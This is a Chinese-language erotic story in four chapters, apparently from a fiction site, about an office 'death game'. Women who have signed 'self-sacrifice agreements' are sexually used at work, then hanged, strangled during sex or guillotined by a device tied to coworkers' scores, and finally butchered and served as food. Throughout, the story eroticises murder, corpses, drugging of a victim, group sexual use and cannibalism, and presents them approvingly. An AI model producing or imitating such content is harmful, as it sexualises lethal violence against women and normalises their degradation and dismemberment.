图片载入中

办公室死亡游戏完

特大字】 【大字】 【中字】 【小字

办公室死亡游戏

1、开端

“让开,让开!”一片噪杂的办公区,阿吉满头大汗的抱着黄色的大纸箱,脚底一滑砰的一声摔在地上,纸箱里面滚出一个双手反绑在身后的女人来。她一动不动的仰躺在地板上,赤裸的肉体在灯光的照耀下泛出动人的光彩,胸前一对傲然的酥乳朝天而立,迷人的脑袋无神的歪在一边,晶莹的唾液从她塞着黑色口塞的樱口中淌出。

总裁助理韩若冰,已经有人认出这个女人身份,眼睛却被她下身那片神秘的黝黑与敞开的尻穴所吸引再也移不开了!

“都快去工作吧!”办公室主任晓茜出现给阿吉解了围:“这只是一个游戏而已,助理韩若冰早就签署了献身协议!”

“阿满!”总裁办公室里,晓茜身上的衣物一件件落下,洁白的胴体让男人一阵口干舌燥:“我听说你最近在玩一个有趣的游戏!”

“是吗!”阿满吞了口口水,这件事情知道的人很多。

“刚刚阿吉一不小心打翻了那个箱子!”她掩口轻笑道:“如果修改一下游戏规则,我也可以陪你玩一下这个游戏,我觉得你那个小秘书从纸箱里里滚出来的样子很诱人呢!”

几天后,徐晓茜赤裸的肉体挂在总裁室中央,在十几分钟的徒劳挣扎后终于如愿以偿的成为一具性感的艳尸,娇艳的红唇微微张开露出一截香舌,一只黑色的高跟鞋在落在地上,清澈的尿液淅淅沥沥的从她诱人的下体流出,沾湿了她性感的黑色丝袜。

“老板!”阿吉像往常一样抱着一个大纸箱走进来,绞索上办公室主任晓茜迷人的身体让他吃惊之余隐隐有些兴奋。

“忘了告诉你了!”今天不用纸箱了:“阿满脸上露出人畜无害的笑容,晓茜有个更好的提议!”

噪杂的办公区因为一个女人忽然安静下来,办公室主任徐晓茜赤裸的肉体毫无遮挡的从总裁办公室拖出来,玲珑有致的身体敞开了所有限制,一片狼藉的下体让人让人禁不住联想到刚刚那间屋子里的香艳与刺激。

又有谁能想到,那个一直以来流传在这个城市里香艳的传说其实来自一个女人的突发奇想。

2、升职

“真的要这样吗?”我努力让自己看起来自然一些,急促的唿吸声还是出卖了我。

“我知道你喜欢的!”阿满熟练的撩开我的套裙,为了今天的谈话,我下面什么都没穿:“如果成功了,你就是公司最年轻的销售总监了,徐晓茜女士。”三个月前,前任销售总监离职之后,我便一直代理这个职务,却一直没有正式任命。

“失败呢?”我声音有些发颤,男人一直大手顺着我引以为傲的大腿向上,在我最敏感的地带探索起来:“你不觉得很有趣吗?晓茜的身体出现在楼下大厅的穿刺杆上的样子一定会让很多人感兴趣的?你可以把他当做一个游戏。”

这是一个游戏,我忽然想起工作以来这座大楼里一个个被处决的女职员,娇艳的身体从总裁办公室拖出来、挂在空中摇摆、穿刺在金属杆上,她们不也是在玩这样一个游戏。身体做成各种美味,处决的照片被贴在大楼的论坛里为人津津乐道,我有时候甚至在想,其实,每个女人心中都有这样一种欲望,只要条件允许,它便会爆发出来。

“听起来真的很不错!”我再也控制不住自己的身体,一股热流从潮湿的甬道里喷涌而出。男人的手撬开隐秘处粉嫩的花瓣有节律的抠动,沉闷的水声中,一丝淡淡的红晕爬上我的脸颊。他人长得很帅,又是集团总裁的儿子,就连这个公司也是老爹给他玩玩的,给他玩总比那些老东西强的多。

“徐总,我们接下来是不是该做点什么了!”他褪下裤子,露出硕大的男根,把退无可退的我被压在办公桌边缘,灼热的气体喷在我脸上,粗糙的舌头熟练的撬开我的嘴巴,那滚烫的男根毫无阻力的没入。一墙之隔的开放式办公场所里,那些属下们怎么也不会想象的到他们上司此时正为了升职贡献出自己的肉体和那个纨绔大少玩着危险的性爱游戏。

我从来没有想过自己会和一个男人如此疯狂,桌上、地下、柜子上甚至薄薄的办公室门,每一处都留下我们战斗的痕迹。尽管声音压的很低,我相信还是有人在外面听到了。

“你真是个不错的猎物,晚上去我那里吧!”激起过后,我一丝不挂的躺在办公桌上,洁白的胴体,丰润的乳峰和胯下神秘的幽谷任由他欣赏。

“我可以选择不去吗?”女人的尊严让我选择了抗拒。

“明天可能就没有这样的机会了!”

——————————————————————————

第二日,公司休息区,浑身赤裸的女人趴在断头台上,修长白皙的脖颈卡在圆孔中,一对晶莹的玉臂绑在身后,两条雪白的美腿被分开来牢牢固定住,饱满多汁的私处毫无顾忌的暴露出来等待男人的插入,唯一的遗憾是遮住她容貌的蝶形面具,虽然那尖尖的下巴仍让人眼前一亮,却也让那些目睹她真容男员工心中暗自遗憾——这便是我,徐晓茜,公司是今天的公共福利,一个竞争对手公司与阿满打赌输掉了身体的女主管。我们的谎言骗住了公司所有人,代价是我的嘴巴被一个布满圆孔红色的口塞牢牢堵住,一丝丝晶莹的唾液止不住从嘴角淌下。

不得不承认今天是个奇妙的一天,穿着长筒高跟黑皮靴一丝不挂的被阿满从地下车库里牵出来,在所有人惊诧的目光下等待电梯。或两眼泛光,或故作镇定却不时偷眼来看,也不知道有多少男人跌破了眼睛,纵然有面具遮挡了容貌,那一道道火辣的目光仍让我如坐针毡,潮湿的下体暗地里止不住涌出的爱液。几个阿满相熟的老板更是在电梯门口轮流和我来了一次,有时我甚至会想,如果真的失败了,这也是一次奇妙的经历。

固定着一根穿刺杆的金属小推车停在断头台旁边,如果失败,阿满会把我无头的身体穿刺在上面,去掉面具的脑袋插在穿刺杆的顶端。我甚至可以想象它被推到楼下放在大厅里的情景,所有人都会知道上午那个赤裸的女人其实就是大厦里出了名的美女徐晓茜,不过这对于我来说已经不重要了。

“她是个很特别的女人!”阿满口若悬河的道:“昨天晚上和我们几个男人一直狂欢的深夜两点!”

公司的男职员们一个个全都忙晕了头,今天早上开始,他们每个人都接到当天任务说明,作为完成任务奖励,每个男职员将获得一次从后面和断头台上女人来一次的机会。

作为这次游戏的道具,断头台完全由智脑控制,每一个接受过我服务的男职员都要在上面打分,而智脑根据这个生成一个随机数。不同的是,销售部员工打分将以正值的方式记入,而其他部门为负值,为了公平两者打分将乘以总人数的反比后相加,现在我有100分的初始值,当这个分数变成负值的时候就是我人头落地的时刻,如果坚持到最后,我将获得升职的机会。

部门工作效率证明你的业绩,员工的打分说明他们对你身体的满意程度,虽然这种说法很扯,但我还是同意了——这断头台还有一种随机决定是不是砍掉女人脑袋的功能,我不想那么做,至少我对自己手下的能力还是有信心的。

让我庆幸的是,整个上午除了阿满没有一个人能完成当天的任务,作为老板他给自己的任务仅仅是签署了几份文件而已。

“嗨,晓茜!”他没有选择从后面操我,而是把卡在嘴里的口塞移到脖子上,我刚想说话却被他那根硕大的肉棒把嘴巴牢牢堵住:“别忘了,说话就算输!”插进我喉咙里深处的东西让我忍不住腹诽,如果现在铡刀落下也许他那个小和尚头会和我的脑袋一起被切下来。

“我要给你打个满分,这样你就差不多只剩下七八十分了。”他那根东西毫无顾忌的在我嘴里抽插,一种窒息的感觉让我感到恐惧,我甚至在想,自己可能不是死在断头台上,而是这样被活活憋死。我拼命的挣扎,可由于四肢都被牢牢的束缚住,看起来仅仅像是忍不住淫欲丰满的臀部不甘的扭动而已,而这越发激起他征服的欲望。

阿满抽送频率越来越快,似乎要把昨晚尚未在我身上爱欲完全爆发出来,白色的泡沫不住从我嘴巴里溢出,涂满了娇艳的红唇。一阵阵缺氧的眩晕让我感到恐惧,真的要这样结束了吗?我的身体忽然间一阵兴奋,潮湿的甬道被一阵潮水淹没,一上午储存在膀胱中的尿液喷涌而出,晶莹的液体在半空中划过一条美妙的弧线。

我从未想过,自己有一天会这样尿在公司休息区,打扫卫生的老刘目瞪口呆的看着这一幕,纵然以这种羞耻的状态趴在断头台上,我在他们心中依然是一个漂亮迷人的职业女性。

“真骚!”老刘骂骂咧咧的道,也不知道是说我,还是一地的尿液。阿满此时却已从我喉咙里抽出肉棒,滚烫的精液射进我嘴巴里,我抓住机会张开嘴巴毫无风范的喘息着,任由他把剩余的精液射在嘴巴里。

“晓茜,你真棒!”阿满没有帮我清理脸上的秽物,重新给我戴上口塞,又从后面给我来了一次,这才心满意足的给我打了个10分。

第二个完成任务的值老刘,他今天的任务是把整个办公区打扫一遍。似乎由于刚才那一幕的影响,这个我从未想象过会和他有交集的老头子仿佛打了鸡血一般,疯狂的抽插让我感觉似乎小穴要被操爆了,浓浓的精液射进我身体里的时候我耻辱的和这个老男人一起达到了高潮,我有种感觉他至少一年时间没有碰过女人了。

让我感到无比愤怒的是,这个老东西居然只给我打了5分——虽然这有可能避免我被斩首的命运。

中午时间,一些吃过饭的男职员会忍不住来看看我这个今天的公司福利,一个赤裸的身体跪在断头台上的女人,仅有的高跟皮靴不但没有启到遮挡的作用反而增加了几分妖艳与性感。

“阿康!你就不怕完不成今天的任务!”人事部的箐箐打趣道,如果说哪个是我最信得过的手下,莫过于阿康了。可他此时却站在我身后,像个没见过世面的臭小子一般死死的盯着那翕动的私处,情不自禁把一只手指插了进来。

“放心,顶多要一个小时就做完了!要不是徐总今天请假,我现在已经完成任务了!”阿康大声回应道。

“和你们徐总有什么关系!”

“有个美女在,看起来养眼,干起活来也有劲!”

“呸,马屁精!”箐箐啐了他一口道:“晓茜今天她不在,你这马屁也白拍,我明天告诉她你盯着人家女人那里看,看她不给你小鞋穿!”

“现在不多多看看,一会被砍了脑袋就看不着了!”他意犹未尽的在我下体抠了几下,顿时两个男人残余的精液从敞开的穴口流出:“徐总她最信任我,你那些谣言根本没用。”而此时,他的徐总恨不得把他扒皮抽筋。

“我听老板说这断头台根据员工打分决定是否处决女人。”箐箐娇笑道:“别一会晚了只能看着尸体过眼瘾了!”两个人的对话让我心中一阵激荡,我忽然有种感觉,似乎,阿满他丝毫没有想让我活过今天。

男职员们渐渐离去,只留下一些女文员在这里对我品头论足,嘻嘻哈哈的拿起相机从各个角度给我来了个写真,说要发到网上分享。

大概下午一两点的样子,陆陆续续有员工完成了工作前来享受福利,他们都是其他部门的员工。纵然性爱舒缓了我的恐惧,一阵不好的预感仍然在我心中升起。积分在智脑内部冷酷的减少,虽然看不到,我已经感觉到似乎最多两个人,那铡刀便会无情的落下切断我娇嫩的脖颈。

又一个男职员在我身体里发泄过性欲之后退出来,也许是因为我的紧张,他感觉并不是很好,只打了八分,可我依然心中一阵忐忑。

静寂的只能听到自己心跳的等待中,断头台并没有进入处决程序,而此时阿康的到来让我松了一口气,我忽然发现其实他还是蛮可爱的!

此后两个多小时时间里,完成工作任务的职员越来越多,甚至开始在断头台前排起一个不短的的队伍。我一开始还能默默计算自己大概的积分,到了后来,一波又一波的高潮到来的时候这已经是奢望了,口塞被取下来,我已经不需要它了,一根接一根的男根让我根本没有说话的机会,几个男职员饶有兴致的开发了我的后庭,我的直肠里也被灌满了滚烫的精液。为了保证我能继续服务,人事部的箐箐在我给我注射了几剂补充体力与催情的药剂。

那家伙给我了十分,我心中默默道,似乎这已经成为一种荣耀,身体却在身后男人勐烈的冲击下又一次达到了顶点。

“嘟,嘟!”一阵刺耳的警报声让我迷惑,耀眼的红光让我瞬间清醒过来——那该死的家伙一个要命的十分把我送上了不归路。

它真的会砍掉我的脑袋的,一切侥幸都没有之后我忽然发现,其实从昨天开始,一种内心隐藏的欲望一直在欺骗理智。我想起阿满那古怪的笑容,难道他早就看透我?

“好了!”阿满大声道,所有人都看出来那断头台处决程序已经启动:“这里我有重要消息要宣布!”休息区顿时安静下来,所有员工都停下手头的事情,正在工作的员工也被通知赶来。

“其实,今天我撒了个谎,这个女人并不是什么竞争对手的女高管,而是!”阿满揭开我脸上的面具。

“晓茜姐!”

“徐总!”

一个个惊异的声音响起,阿康更是捂着脸,遭了,遭了,今天真的马屁拍到马腿上了。

“今天的事情完全是我和晓茜为了鼓励公司士气做的努力,我在这里就欺骗大家的行为道歉,作为补偿,今天晚上,公司将在天香阁举办一次盛大的员工聚餐,主菜便是徐晓茜。”休息区响起一阵欢唿声。

我并没有戳穿他的谎言,因为我自己也是谎言的制造者,再怎么说,自愿献身总比为了升职打赌输掉身体要体面的多,尽管体面现在对我来说已经是一种奢侈品。

“箐箐,这里一份晓茜的献身协议,马上传真一份到大厦物业管理处,雪卉,打电话给天香阁,让他们下午五点半准时来楼下取食材!”

所有人都把目光重新投在我的身上,众目睽睽我无所遁形,他们眼中美丽动人的徐总以这种耻辱的方式趴在断头台上,女人身上的秘密毫无保留的暴露出来让所有人观赏,她将用自己的生命向他们证实砍掉一个女人脑袋是多么美妙与香艳的画面,或许这正是这次游戏的意义吧,我不知道自己为什么会产生这种奇怪的念头,身体却在它的趋势下兴奋起来。

“你现在还有最后一个愿望!”阿满的声音在我耳边响起“我想,还是让阿康最后拍一次我的‘马屁’吧!”我尽最大力量摇了摇自己丰满的臀部,这个形象的称唿带来一阵哄笑,阿康一脸羞愧的被箐箐她们推出人群。

“晓茜,看来你升职的愿望破产了!”阿满凑到我耳边道:“不过另外一个愿望马上就要实现了!”

我刚想反驳却被硕大的男根再次充满了嘴巴,熟练的动作让我猜想他肯定经常这么干。

大腿与腰部的束缚被解开,我想这多半是为了让我无头的身体挣扎的样子看起来更加性感一些。阿康的动作稚嫩而坚定,却充满了热情,他拉着我的双臂,壮硕的分身从后面叩门,坚实的身体撞击着我丰满的臀部,发出砰砰的响声。他疯狂的在我身体里驰骋,灼热肉棒如他的人一般带着火热的激情,带给我一阵阵销魂的冲击。这就是我的最后一次,我呜咽着,潮湿的甬道尽力抓紧那根东西,迷人的身体疯狂的在他狂野的冲击下从一个巅峰攀上另一个巅峰。

阿满把男根从我嘴巴里抽出,一股浓浓的精液射在我美丽的面孔上。

“再见了,晓茜,你的阴排我定了!”阿满把那颗红色的按钮重重的按下,在他的笑容里,我仿佛看到自己饱满多汁的阴排被人插起尽情品尝。身体里酝酿已久的兴奋瞬时间释放出来,可我已经没有机会享受它了。锋利的铡刀毫无阻碍的切断了我的脖颈,前一刻我还能能感觉到一股前所未有的阴精从子宫深处喷涌而出,后一刻我美丽的脑袋已经被阿满提在半空中。

生命的最后一刻,我第一次用这种角度观察自己的向外喷涌着热血的身体疯狂的与男人做爱,失去了夹板的束缚它反射似的立起来,饱满迷人的小腹疯狂的蠕动,浑圆的大腿淫荡的分开,隐约之间我仿佛看到自己肥美的阴户紧紧握住粗壮的男根不知疲倦的吸吮……

直到很多年后,公司的员工还能记住徐晓茜迷人的身体躺在地上抽搐的样子,她创造并保持了这座大厦的记录,无头的身体整整在地上挣扎了两分钟后才拉出一泡尿来。

“她是我玩过最带劲的女人!”阿康每次看到晓茜塑化之后安放在公司照壁上的脑袋总会这么说。

“但是我更喜欢她烤熟了的样子!”箐箐每次都和阿康唱反调,直到某一天她也被骗到断头台上。

3、小雯

“陈总,这个还要你把把关!”正在构思下份广告创意的我被忽然被一阵熟悉的香味打断,行政助理徐晓茜斜倚在办公桌上,身体微微后仰,丰腴的腰肢弯成一个美丽的弧度,滚圆的臀部在黑色套裙的包裹下散发出无尽的诱惑。她是一个漂亮的女人,懂得利用自己身体上每一分优势营造美丽,今天这番成熟性感的打扮也不知让多少人望眼欲穿。

我禁不住吞了口唾液,把目光从她领口白花花的胸脯上移开,这个办公室里公认的尤物在我面前表现如此性感的一面,这可不是什么好兆头。自从我要升任副总的消息传出之后,这个女人便一口一个陈总的叫着,每次都没有什么好事。虽然我不得不承认她的身体确实很迷人,在一次意外的加班中我们两个之间发生了一次非常美妙的超友谊关系,可这并不代表着她可以把原本属于她的那份工作压在我头上,我可是这里公认的大忙人。

一道道火辣辣的目光让我感到威胁,而她理所当然的把一份厚厚的文件放在我桌上:“电子档我已经发您邮箱了!”

“在这之前,你应该先仔细审阅一遍!”我板起脸来。

“陈总,人家今天有很重要的事情要做,再说,昨晚我已经看多几遍了!”她一脸无辜的样子让几个同事都暗自把妒忌目光投向我们两个,我却丝毫未被她楚楚可怜的样子欺骗,更不会天真的以为她看上了自己,别人不晓得,我却知道,这位性感迷人的女助理,办公室大多数男同事的性幻想对象事实上早就是董事长的禁脔了。我重重的咳嗽了一声,那几个看热闹的家伙忙低下头去装作很忙的样子。

正在这时,桌面上的手机嗡嗡的震动起来,小雯发来的短信,手机屏幕上女友穿着白色雪纺长衫,脸上露出甜甜的微笑,露出一对可爱的小酒窝。她一米六八,继承了兰芳女性娇小的身材和白皙的肌肤,盈盈一握的小蛮腰,笔直修长的大腿,却拥有与之不相称的饱满胸部,虽说平时不是很显山露水,那尖翘的酥乳每每在床上却能给我别样的享受。

我拿起手机,是一张刚刚拍摄的照片,白色的墙壁,红色的办公桌让我想起了她们公司总裁办公室,一种不好的预感在我心头升起。穿着白色外套和衬衣的女人趴在办公桌上,黑色的一步裙被被推到腰间,性感翘臀在散发着诱人的光彩,两条雪白的美腿耻辱的分开,粉红的内裤被拉到膝盖位置,我的大脑轰的一声似乎要炸开了,那条内裤可不就是小雯上个星期刚刚买的!却见一只手分开她两瓣娇嫩的花瓣,露出湿漉漉的肉洞。

“什么东西!”晓茜凑了过来,丝毫不介意这是我的隐私。我赶忙收起手机,却也被她瞧出了个大概:“陈总,如果你帮我做了这个,我就帮你保守秘密!”她神秘兮兮的道:“上班时间浏览黄色网站!”

“你说话算话!”我也小声道。

“放心吧,我马上就要成为一个永远不会泄露秘密的女人了!”她神秘的笑了笑说出一句让我百思不得其解的话——对于这个女人的信誉,我一向持保留态度。

迷人的女秘书徐晓茜说完这话转身离开,浑圆的臀部包裹在套裙中左右摇摆,阵高跟鞋嗒嗒中声,几个小年轻蠢蠢欲动的心越发被挠到痒处,就连我也能猜到她脸上胜利的微笑。

晓茜我这里走开之后便进了总裁办公室,这骚货,我暗自骂道。我却知道,这个女人经常在上班时间和老板在那间隔音效果很好的办公室里幽会,别人看到她精明干练的同时,我却从她衬衣上的褶皱和她脸上尚未完全散去的潮红看出一些不寻常的猫腻。

小雯今年22整整比我小三岁,具备传统兰芳女人所有的温柔与贤惠,却也是一个喜欢追求刺激的女孩。早在认识我之前她已经有过一任男友,她也直言不讳的告诉我在大学的时候已经和不少男人玩过。但她的美丽和可爱还是让我还是义无反顾的爱上了她,不在乎她的过去,甚至就连她在外面“偷吃”也睁一只眼闭一只眼,也许是因为她太漂亮了,我每每总是自己这样安慰自己。而她除了有些太开放之外,一切都做的无可挑剔,就连我父母也对这个儿媳妇赞不绝口。

“勇哥,你不觉得这样很有趣吗?”她总是这样说,在她把自己一个很漂亮的小姐妹带到家和我一起玩过双飞之后,我也渐渐认同了这种说法,甚至有时会有些隐隐的兴奋。前些日子我隐隐听她提过在办公室里做爱别有一番风味,甚至发过几张被男人按在桌上的照片。

“又被人玩了!”我狠狠的按下发送键。

男人粗重的喘息声中,动人的手机铃声响起,趴在办公桌上的女人莲藕般白皙的玉臂摸索着,白花花的臀肉在男人的冲击下动人的颤抖着,柔软的腰肢在男人身体的压迫下紧紧的贴着桌面摩擦,两颗雪白的玉兔被压成扁平状。

那女人总算摸到手机,带着急促的鼻音打开短息:“嘻嘻,刘总,你输了!”她把手机递给身后辛勤耕耘的男人:“我老公他不在意哦!”

“算你赢了!”男人接过她手中的手机看了看,一只手把她一头乌黑的长发拨到一边,露她出精致的耳朵雪修长雪白的玉颈。她叫小雯,公司人力资源部助理,她的娇嗔可爱征服了公司所有人,更让自己深陷其中无法自拔。

此时,她那美丽的面庞朝下,雪白的双肩微微抽动,似乎碰到了什么天大好笑的事情似的,作为赌注,男人要穿着她的内裤回家给老婆看。

“真是个妖精!”男人扳过她俊俏的脑袋,轻轻的吻在她精致的耳垂上,插在她身体里的肉棒再次有节律的运动起来。

上午的工作枯燥而忙碌,让我感到奇怪的是,晓茜自进了总裁办公室就再也没有出来,期间陆陆续续又有几个陌生人进去,就再刚刚,品牌部的小王被叫了进去。

办公区的职员似乎也发现了其中的异样,一道道疑惑的目光投向总裁办公室,却见那小王半弯着腰倒退着从门口出来,双手握着一对晶莹的玉足,这是怎么回事,我一双手禁不住紧紧握住。

那是,浑圆雪白的大腿,丰硕的臀部,两腿间一道诱人的粉红若隐若现,雪白的肚皮上用黑色颜料笔写着几个大字,一对34D的豪乳让我有种熟悉的感觉,她是!女人的脑袋歪在一边,两只眼睛圆瞪着,一丝丝晶莹的唾液从她张开的口中淌出,脖颈上一道触目惊心的于痕说明了一切。

我忽然想起那个一直以来被忽略的传闻,从几十年前自愿献身法被国会通过之后,这座城市里便有一些签署了献身协议的职业女性和公司管理层的职员们玩一种特殊的死亡游戏,虽然理论上和把自己卖给餐馆没有什么不同,但显然更加刺激和香艳。她们在办公时间和男人狂欢后被杀死,尸体一丝不挂的从办公室搬到楼下等待餐馆收取,我曾经听小雯说过,这对于女人来说这是一件羞耻却想想就觉得兴奋的事情。

事实上,这座城市生活的人多多少少的知道这些传闻,或者它作为茶余饭后的谈资,又或者在脑海里意淫一下——漂亮迷人的女秘书忽然有一天一丝不挂的从办公室里被拖出来的惊艳。

“骚货徐晓茜!”我终于看清了她肚皮上的几个大字,这个办公室里出了名的美女用这种方式出现在所有人面前,意淫过她男职员过了一把眼瘾。似乎是因为太累,那小王停下来喘着气,晓茜迷人的肉体就这样毫无秘密的仰躺在办公区中央,浑圆的两腿之间,白色的液体从她鲜红的肉洞里淅淅沥沥的淌出。

“放心吧,我马上就要成为一个永远不会泄露秘密的女人了!”我忽然想起这个她上午奇怪的话来。

手机铃声再次响起:“老公,我马上就要被处死了!”让人心惊肉跳的文字下面,小雯一丝不挂站在四五个男人面前,双手反绑在身后,一根鹅蛋粗细的木棍插在她诱人的下体,那动人的双乳之下,雪白的肚皮上写着“骚货冬雯”几个黑色的大字。

“不!”我心中呐喊着,在所有人惊讶的目光下冲出办公室!

“冬小姐,一切都按照你说的做了!”一个男人拔掉小雯下身的木棍,替她解开身后的束缚。

电脑屏幕上,浑身赤裸的女人趴在地上,一根尼龙带深深的勒进她雪白的脖颈中,丰腴的身体紧紧的夹住插在她身体里的肉棒疯狂的战栗,两条雪白的大腿痉挛似的抽搐,她是徐晓茜,刚刚被人从办公室里像死狗一样被拖出来的徐晓茜。

“这边这个女人已经完了,你们这个什么时候开始!”一个沙哑的声音从音箱中传出,画面上,那晓茜已经断了气,一个二十岁的小伙子从外面进来,一脸不可思议的看着一丝不挂的躺在地上的女人。

“冬小姐,你马上就和她一样了!”男人把摄像头对准小雯,递给她一杯红酒:“你是我处决的女人里最漂亮的!”

“我想,你们不会是想和我聊天吧!”鲜红的酒夜顺着她娇艳的红唇淌下,更增加了几分别样的诱惑。

“这酒里下了些助兴的药!”

“谢谢!”

“那么现在,我们开始吧!”男人夺过她手中的酒杯,粗暴的撬开她娇艳的红唇……

“快点,我催促道!”顺手塞给司机几张百元大钞,一张张从小雯手机上发来艳照像魔咒般催促着我,窒息般的心痛与让我感到耻辱的兴奋纠缠着,让我每一分钟都在煎熬中度过。快了,再过两条街,一张照片让我紧紧的闭上眼睛——小雯分开双腿趴在地上,从后面插进她身体的男人用一根白色的尼龙带勒住她雪白脖颈。

不要,我心中祈祷着,出租车吱呀一声停在一栋白色的写字楼前。为什么她事先没有告诉我,为什么会一直给我发短信,为什么她会和晓茜在同一天,我心中一片混乱,办公区里,人们惊讶的望着狂奔进来的男人向一扇虚掩这的门冲过去。

我的手颤抖着,吱呀一声推来门,那狂跳的心脏似乎要拖出胸腔。两条跪在地上雪白的大腿痉挛似的抽搐着,迷人的小脚丫紧紧绷着,一个上身穿着黑色西装的男人整个人从后面压在小雯身上,砰的一声,股臀相交,粗壮的男根根尽数没入她迷人的身体里,她雪白肉体疯狂的挣扎着仿佛要用尽身体最后一丝力量。

“小雯!”我大声叫着冲上去,却被一个保镖拦住。

“放开他!”男人说着从小雯身体里抽出阴茎,一股白色的精液顺着她敞开的小穴里流出:“你是她的男友吧!她已经死了!”他是一个大集团的老总,我瞬间认出他的身份。

仿佛为了证明他的话,小雯瞬间停止了挣扎,两只雪白的玉臂无力的趴在地上,缎子般光滑的肌肤被汗水浸湿在灯光照耀下折射出动人的光彩,浑圆尖翘的屁股,弯曲的小蛮腰,她仿佛一件精致的艺术品般伏在地上。淡黄色的尿液从她下体淅淅沥沥的流出,在她胯下汇集成一个小水洼,空气中,一股淡淡骚味弥漫开来。

“我想你应该明白,这只是一个游戏而已!

多年以后,我的职位越做越高,也和许多漂亮的女职员玩过这类死亡游戏,小雯那赤裸的身体一丝不挂的一丝不挂的被拖出办公室的凄美与香艳却一直牢牢占据着我记忆中最敏感的部分,她迷人的肉体毫无遮拦的被抬到楼下,像垃圾一样放在一个大纸箱中等待收取。作为这个游戏的规则,我不知道她究竟被运往何方,更不知道她的身体被如何处理。

直到几年后一个偶然的机会,我在论坛一组旧照片中找到几张关于她的照片,几张生活之外,最后背景是餐馆照片上,小雯迷人的身体和几个女人一起被穿刺在金属杆上,一条触目惊醒的开口从她双乳之下延伸到鼓起的阴阜之上,那让我着迷的小肚腩里已然空空如也。

“陈总,聚会的主菜到了!”一个浑身被烤成金黄色的女人趴在餐车上推进来,浑圆的翘臀,盈盈一握的纤腰,两颗饱满的奶子如熟透了苹果般垂在身下,一根又粗又大的香蕉插在她敞开的私处,依稀间,我在她的身上似乎看到了小雯的影子……

4、阴排

晚上八多,一片漆黑中九楼新科实业产品部企划室亮着的灯光尤为显眼。“为什么总是我们部门加班。”一个二十多岁的年轻人领带歪在一边,手指霹雳啪啦的在键盘上敲击,一篇文稿眼看马上就要完成。

“阿吉,别抱怨了,眼看徐总就要给你加薪了,还是我们这些人苦啊!”阿康酸熘熘的道。

“你们还提这个!”我瞬时间愤怒了,记得半个月前,迷人的徐总把我单独叫到办公室里问要不要加薪,自诩为业务部第一聪明人的我一时精虫上脑加利令智昏便签署了一个月加班不要加班费的协议,为此还洋洋自得好久。

可整整三个个星期,永无止境的加班让我痛不欲生,其他还有休息机会,而我基本上已经等于一台人形的工作机器。可每次想起她那狡黠的笑容,我却再也恨不起来,甚至心中有些洋洋自得,她别人不算计偏偏算计了我,说明我已经在她心中占据了重要地位。又或者,能被这个美得冒泡的女人算计,对我来说也算是一件痛并快乐的事。

“别大唿小叫的,被徐总听到有你们好果子吃!”老刘骂道,每次加班,这几个臭小子从来没有消停过。

清脆的门铃声让噪杂的办公室安静下来,然后是一阵震天的欢唿,就在一个小时前,碧源宅急送十元秒杀极品美肉的活动中,我走了狗屎运秒到了一块阴排。自从肉畜这种让所有男人心动的东西登陆兰芳之后,从十岁起,我一直以来最大的梦想就是能享用一块优质的阴排,可他这个简单愿望却一次次被高昂的价格击碎。

饱满的丘壑如馒头般隆起,一条诱人的肉缝横亘在中央,这块从女人下体切下的美肉之外竟是保留了它之前大部分特征。扑鼻而来的肉香让人迷醉,整块阴排在精心的烹调后呈现迷人的橘红色,松软滑嫩的脂肪在灯光的照耀下晶莹剔透,似乎只要轻轻一碰那敞开的迷人肉穴里便有一股汁水流出。

“这是所我见过的最棒的阴排!”箐箐惊叹道,我这才回过神来。

“先生,这些是阴排分割时的照片,请您核对后签收!”由于前段时间层出不穷的假冒阴排事件,一般情况下卖方都会出示一些证据。我大致看了一下这些照片,前几张是一具无头女尸各个角度的写真,她的身材确实相当棒(出于个人隐私原因一般情况下卖方不会提供肉畜容貌照片,消费者必须自己根据编号在网上查询她们的身份信息,前提条件是她们愿意公开),接下来是一些处理过程照片,从开膛破腹取出内脏,到剁去四肢直到切下阴排为止,我仔细把照片上的标号与它现在标号核对一遍这才签字。

“用得着这么仔细吗?”箐箐有些吃味,办公室里都知道她对我有意思。

“当然了,这东西老值钱了!”我美滋滋的道,其他人也拿了自己的外卖,却都没吃,全都聚到我这边来。

“阿吉,这东西让我尝一口好不!”阿康一脸的媚笑让我起了一身鸡皮嘎达,老刘虽没说话那冒着绿光的眼神让所有人明白他的意思。

“不就是一块阴排吗?有什么大惊小怪的!”箐箐酸熘熘的道。

“我敢打赌,箐箐的一定没有这块好!”阿康道。

“去你的!”箐箐大怒,在一个女人面前夸奖另外一个女人向来是大忌,即便这个女人已经被切成无数块做成外卖也不行。

“阿吉哥!我们还是看看这个女人究竟是谁,说不定,她的身份是公开的。”一股浓浓的醋意让箐箐决定给这个自己从未见过的女人一个好看。

“是啊,是啊!”估计样子不差,阿康忙道,就连老刘也有些意动,我打开网站输入阴排上的编号,啪的一声敲下确认键。

徐晓茜,女,28岁,新科实业产品部总监。

穿着白色上衣黑色套裙的白领丽人图片缓缓加载,长长的睫毛,微微翘起的嘴唇,还有那淡淡的笑容,她不是徐总又是谁,我的脑子轰的一声似乎要炸开了。

“我不一定是诱人的,却一定是最让人吃惊的。”——徐晓茜。

赤裸的身体躺在白色的分解台上,磨刀棒插在她敞开的私处,张开的大腿上裹着黑色的吊带丝袜,一只黑色的高跟鞋落在脚边,赤裸着精壮上身的厨师挥舞着厨刀切下她精致的脑袋。

“如果真的要砍掉我的脑袋,请用相机记录下这一刻,我会在天堂看着!”——徐晓茜。

两条雪白的的大腿挂在处理台边的肉架上,她迷人的身体已经分解成一块块诱人的肉块,雪白的乳房放在盘子里,诱人的臀肉切成一片片的,正中央一块诱人的三角形阴排上似乎还挂着晶莹的露水。

“每次看到橱窗里出售的肉块,我总会想到我自己是否也有最后一天,如果有人做到了,请把我的脑袋放在能够看到它们的地方。”——徐晓茜。

“这是徐总的!”我出神的望着盒子里充满了诱惑的阴排,脑子里满是她那天狡黠的笑容和处理台上雪白的肉体。

“徐总不穿衣服的样子可……”阿康的话说到一半被箐箐粗暴的打断:“既然切成了块就不是徐总了!你也不用每天都去拍她马屁了!”

一封电邮在屏幕右下角闪烁,发件人是徐晓茜。

阿吉,当你们看到这封邮件时,已经有一些奇妙的事情发生在我的身上,这也是你这个月这么忙的原因。为了表达我的歉意,我已经正式向公司董事会申请由你暂代我的职位,恭喜你,加薪之外你还要升职了。

除此之外,我还有个惊喜送给你,如果不出意外的话下面的链接里此时已经有了一段视频,我想你一定会喜欢的。

最后,我有一个困惑很久的问题,你为什么玩女人的时候喜欢走后门。

《办公室神秘死亡游戏》——高级女职员徐晓茜最后的一天,我打开邮件里的链接,这是市电视台一个以猎奇为主题的节目。

